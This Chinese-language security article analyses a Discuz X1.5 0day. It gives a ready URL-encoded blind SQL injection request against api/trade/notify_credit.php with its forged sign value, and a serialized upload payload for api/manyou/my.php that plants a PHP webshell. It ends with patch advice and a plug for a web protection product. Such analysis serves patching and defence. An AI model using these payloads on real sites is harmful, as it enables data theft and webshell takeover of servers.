Discuz X1.5最近被爆出0Day,利用该0Day可以直接获取WebShell,危害等级高,获取的管理权限;下面我们一起来看看漏洞成因。
在api/trade/notify_credit.php的27行处,程序将$notifydata[‘order_no’]直接赋给$orderid,并带入到查询。
接着往上看,$notifydata是如何产生的,发现如下:
$notifydata 是由函数trade_notifycheck函数返回的数组变量,在api/trade/api_tenpay.php中432行,
正常情况下,Discuz对用户传入的变量都有进行转义处理,但在api_tenpay.php中,却是重新获取$_GET,$_POST变量来进行处理,而且没有进行任何过滤处理,
显然在上面的参数获取和传递过程中,没有对变量进行任何过滤,因此攻击者可以通过对mch_vno变量进行恶意构造,从而控制$orderid,最后导致在数据库查询处产生注入漏洞。
下面来进行有效的恶意攻击代码构造:
由于Discuz对提交的参数会有个校验值,因此我们需要重新计算自己的校验值:
$resHandler->isTenpaySign()
为了让程序按照我们的流程执行,在这里我们需要对这几个变量赋值:
attach=tenpay /*包含漏洞所在文件*/
retcode=0 /*使$notifydata['validator']=1*/
mch_vno=$sql_exp /*恶意构造,直接带入数据库查询的语句*/
因此我们自己构造的校验值计算如下:
sign= md5(“key=&attach=tenpay&mch_vno=$sql_exp&retcode=0”),
由于该注入过程中没有显错信息,只能利用盲注来进行密码的猜解,为了达到更好地演示效果,我们这里将最终带入数据库的SQL语句显示出来,在source/class/class_core.php的663行中,进行如下修改:
构造的Sql_Exp:
api/trade/notify_credit.php?attach=tenpay&retcode=0&mch_vno=%2527%
2Band%2B%25271%2527%253D%25272%2527%2BUNION%2BSELECT%2B0%252C1%252C0%252C0%252C0%252C0%
252C0%252C0%252C0%252C0%2BFROM%2Bpre_common_member_field_home%2BWHERE%2Buid%253D1%2BAND%
2B%2527%2527%253D%2527&sign=233afe848a5d4b994871dad94901fd4e
在本地演示的效果如下:
显然我们已经成功的控制参数mch_vno,并能产生明显的SQL注入攻击。
下面我们来看看/api/manyou/my.php的上传漏洞:
在my.php中,首选创建一个继承Manyou的类My,然后创建一个My的实例,接着调用Manyou父类的run()函数,我们跟进run()函数查看:
在run()函数中,程序会调用_processServerRequest()对提交的参数进行处理,而该函数会获取客户端POST提交的参数,根据提交的参数获取相应的扩展接口,
而在my.php文件中的onVideoAuthAuth的函数中,由于没有对文件的扩展名进行判断,因此我们可以直接构造php一句话,利用该函数写入一句话,因此这样我们需要提交的参数构造如下:
构造的Upload_Exp:
$module = ‘video’;
$method = ‘authauth’;
$params=array(0=>1,1=>base64_encode(“”),2=>”php”);
$params=serialize($params);
但是由于上传成功后,Discuz并不会返回shell的文件名的和路径,因此需要借助注入漏洞来猜解文件的路径,因此上传漏洞的成功利用还需要借助注入的辅助。
安全建议:
1.下载官方补丁或下载最新的Discuz版本程序使用;
2.直接用网站保护系统,可以无需补丁。
对于没有第一时间打上补丁的网站,很容易成为的攻击目标,从而导致网站被或数据被删除,或者沦为黑客的肉鸡;笔者有幸拿到了Nevel网站保护系统的邀请码,对于加入Nevel保护的网站,则完全不用担心这些问题,因为当攻击者尝试提交这些的时候,Nevel会检测到这些攻击代码,当检测到这些代码的时候直接将这些数据丢弃,并不会传到你的服务器进行响应,也就不会产生安全,更不会被入侵;下面是对加入Nevel保护的网站进行攻击的效果图,如下图:
(责任编辑:钼铁)